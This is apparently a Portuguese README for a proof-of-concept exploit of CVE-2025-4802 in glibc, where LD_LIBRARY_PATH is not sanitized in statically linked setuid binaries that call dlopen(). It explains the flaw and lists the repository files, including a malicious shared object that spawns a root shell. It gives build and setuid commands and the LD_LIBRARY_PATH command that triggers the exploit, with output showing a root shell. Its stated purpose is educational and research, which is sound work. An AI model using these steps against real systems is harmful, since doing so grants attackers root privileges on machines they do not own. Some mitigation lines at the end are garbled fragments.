
Prova de Conceito para um binário setuid compilado estaticamente vulnerável a dlopen com LD_LIBRARY_PATH
⚠️ Aviso: Este repositório é apenas para fins educacionais e de pesquisa de segurança autorizada. Não use este exploit contra sistemas que você não possui ou não tem permissão explícita para testar. O uso indevido pode violar leis e regulamentos.
| Campo | Detalhes |
|---|---|
| ID do CVE | CVE-2025-4802 |
| Software Afetado | GNU C Library (glibc) |
| Versões Afetadas | 2.27 – 2.38 |
| Tipo de Vulnerabilidade | Escalação de Privilégio via LD_LIBRARY_PATH não confiável |
| Vetor de Ataque | Local |
Uma vulnerabilidade na GNU C Library (glibc) versões 2.27 a 2.38 permite que um atacante explore a variável de ambiente LD_LIBRARY_PATH em binários setuid compilados estaticamente que chamam dlopen().
Normalmente, o vinculador dinâmico sanitiza LD_LIBRARY_PATH para programas setuid. No entanto, binários compilados estaticamente ignoram completamente o vinculador dinâmico, então LD_LIBRARY_PATH nunca é limpo. Quando tal binário chama dlopen() (diretamente ou indiretamente via setlocale() ou funções NSS como getaddrinfo()), a glibc resolve bibliotecas compartilhadas usando o LD_LIBRARY_PATH controlado pelo atacante, permitindo a execução arbitrária de código com privilégios elevados.
dlopen("myso.so", ...) para carregar um objeto compartilhado pelo nome (não um caminho absoluto).ld-linux.so) nunca é executado, então LD_LIBRARY_PATH não é sanitizado.myso.so) que exporta o mesmo símbolo hello() mas inicia um shell root.LD_LIBRARY_PATH para apontar para o diretório que contém a biblioteca maliciosa..
├── main.c # Código-fonte do binário setuid vulnerável
├── myso.c # Objeto compartilhado legítimo (seguro)
├── evil_library/
│ └── evilso.c # Objeto compartilhado malicioso (inicia shell root)
├── proof_of_concept_screenshot.png # Captura de tela do terminal mostrando o exploit
├── proof_of_concept_video.mp4 # Vídeo demonstrativo
├── Makefile # Automação de compilação
└── README.md
ldd --version)gcc, makemake all
Ou manualmente:
# Compilar o objeto compartilhado legítimo
gcc -shared -o myso.so -fPIC myso.c
# Compilar o binário vulnerável (vinculado estaticamente)
gcc -static -o main main.c -ldl
# Compilar o objeto compartilhado malicioso
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Saída esperada:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportamento malicioso)LD_LIBRARY_PATH=./evil_library ./main
Saída esperada:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root
O binário carrega o myso.so do atacante de evil_library/ em vez do legítimo, gerando um shell root.

Um vídeo demonstrativo também está disponível: proof_of_concept_video.mp4
dlopen()dlopen() em vez de nomes simples de bibliotecasdlopen()